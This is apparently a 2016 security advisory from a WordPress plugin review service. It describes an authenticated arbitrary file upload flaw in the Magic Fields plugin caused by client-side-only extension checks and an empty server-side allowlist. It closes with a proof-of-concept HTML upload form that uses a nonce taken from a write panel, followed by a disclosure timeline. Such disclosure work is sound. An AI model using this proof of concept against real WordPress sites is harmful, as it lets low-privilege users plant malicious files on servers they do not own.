31 May 2016

Authenticated Arbitrary File Upload Vulnerability in Magic Fields

In our previous post about an old arbitrary file upload vulnerability in Magic Fields, we mentioned from reviewing that, that we then noticed that another vulnerability existed.

To recap, in version 1.5.6 of Magic Fields code was added to the file/RCCWP_upload_ajax.php that checked if you were logged in and able at least edit posts, which is capability available to Contributor level users and above, before allowing arbitrary files to be uploaded through the file:

if (!(is_user_logged_in() &&
      (current_user_can('edit_posts') || current_user_can('edit_published_pages'))))
	die(__("Authentication failed!",$mf_domain));

Contributor level users should not be able to upload arbitrary files, so that would mean that while unauthenticated users could no longer upload arbitrary files, there was still an authenticated arbitrary files vulnerability. There is also no protection against cross-site request forgery (CSRF) made with that change.

In the next version, 1.5.7,  a check for a nonce was added, which removed the CSRF vulnerability.

$nonce=$_GET['nonce_ajax'];
if (! wp_verify_nonce($nonce, 'once_ajax_uplooad') ){
  $result = array('error' => 'Sorry, your nonce did not verify.');
  echo htmlspecialchars(json_encode($result), ENT_NOQUOTES);
  die; 
}

At this point whether there is still a vulnerability would depend on how one can gain access to the nonce being used. The nonce is generated in the file /RCCWP_WritePostPage.php:

117
        var nonce_ajax_upload = "<!--?php echo wp_create_nonce('once_ajax_uplooad') ?-->";

That leads to it being included on any write panel generated from the plugin. So as long as a Contributor or higher level user is able access a write panel they can upload arbitrary files.

Lack of Proper File Validation

While being access the file upload capability when you are not intended to able to do that is a concern. The larger issue here is that there are not restrictions on what types of files are uploaded.

When we started looking into this vulnerability we ran across a support forum thread from someone asking about adding another file extension to the allowed extensions for file uploads. The response from the developer is something that would raise the eyes of most anyone who knows much about web security:

Hi, yes, i will add this extension in the next update. you can add for the moment in this file /js/group.js line 527

Since JavaScript files are usually are only used on the client side, this suggests that the file validation is only being done on the client side and that the user doing the upload has control over what files can be uploaded. That turned out to be the case.

The allowed extensions are defined in /js/group.js on line 527 in version 1.6.3.2 of the plugin:

527
          var allowedExtensions = ["pdf", "doc", "xls", "ppt", "txt", "jpeg", "psd", "jpg", "gif", "png", "docx", "pptx", "xslx", "pps", "zip", "gz", "gzip", "mp3", "aac", "mp4", "wav", "wma", "aif", "aiff", "ogg", "flv", "f4v", "mov", "avi", "mkv", "xvid", "divx","gpx"];

The validation of the file is then done in the file /js/valumsfileuploader.js with the function _validateFile():

397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
 _validateFile: function(file){
 var name, size;
 
 if (file.value){
 // it is a file input 
 // get input value and remove path to normalize
 name = file.value.replace(/.*(\/|\\)/, "");
 } else {
 // fix missing properties in Safari
 name = file.fileName != null ? file.fileName : file.name;
 size = file.fileSize != null ? file.fileSize : file.size;
 }
 
 if ( this._isAllowedExtension(name)){ 
 this._error('typeError', name);
 return false;
 
 } else if (size === 0){ 
 this._error('emptyError', name);
 return false;
 
 } else if (size &amp;&amp; this._options.sizeLimit &amp;&amp; size &gt; this._options.sizeLimit){ 
 this._error('sizeError', name);
 return false;
 
 } else if (size &amp;&amp; size &lt; this._options.minSizeLimit){
 this._error('minSizeError', name);
 return false; 
 }
 
 return true; 
 },

That in turns call the function _isAllowedExtension() in the same file:

446
447
448
449
450
451
452
453
454
455
456
457
 _isAllowedExtension: function(fileName){
 var ext = (-1 !== fileName.indexOf('.')) ? fileName.replace(/.*[.]/, '').toLowerCase() : '';
 var allowed = this._options.allowedExtensions;
 
 if (!allowed.length){return true;} 
 
 for (var i=0; i&lt;allowed.length; i++){
 if (allowed[i].toLowerCase() == ext){ return true;} 
 }
 
 return false;
 },

Since that is all running on the client side it can be disabled by a malicious user and therefore they can upload malicious files.

What then was surprising to find out is that there is actually the code needed to validate the file and restrict the allowed extensions on the server side. On the server side the file is uploaded through the file /RCCWP_upload_ajax.php and that has a line to define allowed extensions, but it is empty:

174
175
// list of valid extensions, ex. array("jpeg", "xml", "bmp")
$allowedExtensions = array();

Proof of Concept

Logged in as user that has access to a Magic Fields write panel, view the source code of a write panel page and find the line that begins “var nonce_ajax_upload”. Replace “[nonce value]” in the proof of concept with the value of “nonce_ajax_upload” on that line.

Also, make sure to replace “[path to WordPress]” with the location of WordPress:

<html>
<head>
</head>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/magic-fields/RCCWP_upload_ajax.php?nonce_ajax=[nonce value]" method="post" enctype="multipart/form-data">
<input name="qqfile" type="file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 5/20/2016 – Notified developer.
  • 5/31/2016 – Notified wordpress.org Plugin Directory.
  • 6/1/2016 – Version 1.7 released (not available on Plugin Directory), which fixes vulnerability.

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.